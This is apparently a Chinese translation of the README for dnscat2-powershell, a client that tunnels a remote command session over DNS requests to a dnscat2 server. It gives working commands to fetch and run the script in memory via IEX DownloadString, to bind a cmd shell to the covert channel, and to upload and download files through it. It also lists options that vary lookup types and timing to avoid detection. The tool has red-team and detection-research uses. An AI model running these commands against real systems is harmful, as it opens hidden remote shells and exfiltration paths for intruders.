dnscat2 是一款由 @iagox86 (Ron Bowes) 开发的 DNS 隐蔽通道工具,用于通过 DNS 请求传输数据。
这是 dnscat2 C 客户端的一个 PowerShell 版本。
点击此处查看博客文章,其中更详细地介绍了此脚本的用途及使用方法。
要使用此脚本,您需要 Ruby 版本的 dnscat2 服务器。运行服务器时务必添加 --no-cache 选项。此客户端与服务器的缓存机制不兼容。
首先,安装 dnscat2 服务器。 使用 --no-cache 禁用缓存启动服务器。启动服务器的命令应类似于:ruby dnscat2.rb --dns="domain=example.com" --no-cache
接下来,启动 Windows PowerShell(版本 2.0 或更高)。您可以使用以下命令加载 dnscat2 PowerShell 函数:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 是实际用作客户端的函数。使用 -Domain 指定 dnscat2 服务器。
启动一个命令会话,并将 DNS 请求发送到 8.8.8.8 的 53 端口:
Start-Dnscat2 -Domain <dnscat2 服务器> -DNSServer 8.8.8.8
发送一个 cmd shell,并将 DNS 请求发送到 Windows 设置的默认 DNS 服务器:
Start-Dnscat2 -Domain <dnscat2 服务器> -Exec cmd
启动一个控制台会话。仅使用 CNAME、MX 和 AAAA 请求:
Start-Dnscat2 -Domain <dnscat2 服务器> -LookupTypes @("CNAME","MX","AAAA") -Console
不加密会话。默认启用加密。
Start-Dnscat2 -Domain <dnscat2 服务器> -NoEncryption
客户端可以处理普通的 dnscat2 命令,或者该命令的 PowerShell 版本。要使用 PowerShell 版本的命令,请设置客户端将检测到的特定参数(以下是从服务器上的命令会话运行的命令):
启动一个新会话,模拟 PowerShell shell,类似于 ExecPS:
exec psh
将服务器上的 app.exe 上传为十六进制字符串,存储在 $app PowerShell 变量中:
upload app.exe hex:$app
将存储在 $app PowerShell 变量中的字节数组下载到服务器上的 app.exe:
download bytes:$app app.exe
-Domain <字符串> dnscat2 服务器使用的域名。
-DNSServer <字符串> 发送 DNS 查询的主机名或 IP 地址。(默认值:由 Windows 设置)
-DNSPort <Int32> 发送 DNS 查询的端口。(默认值:53)
-Command 启动一个命令会话。(默认值)
-Exec <字符串> 将进程的 I/O 与 Dnscat2 会话链接。
-Console 将控制台的 I/O 与 Dnscat2 会话链接。
-ExecPS 模拟 PowerShell 会话并将 I/O 与 Dnscat2 会话链接。
警告:退出将终止整个 dnscat2 客户端,而不仅仅是该会话。
-PreSharedSecret 在服务器上设置相同的密钥以进行身份验证并防止中间人攻击。
-NoEncryption 不使用加密。
-LookupTypes <字符串[]> 设置一个查询类型数组,以便随机切换。
仅支持 TXT、MX、CNAME、A 和 AAAA 记录。默认值:@(TXT, MX, CNAME)
-Delay <Int32> 设置每个请求之间的延迟时间,以毫秒为单位。(默认值:0)
-MaxRandomDelay <Int32> 设置添加到正常延迟中的随机延迟的最大值,以毫秒为单位。(默认值:0)
-MaxPacketSize <Int32> dnscat2 数据包的最大长度。(默认值:240)
-Name <字符串> dnscat2 会话的名称。(默认值:主机名)
dnscat2-powershell 通过将来自服务器的数据传递给 Invoke-Expression 来模拟 PowerShell 会话。仅返回标准输出,只要客户端运行,变量就会保持。注意那些会退出 PowerShell 的命令,如 "exit" 和 "break",因为整个 dnscat2-powershell 客户端将退出,而不仅仅是 ExecPS 会话。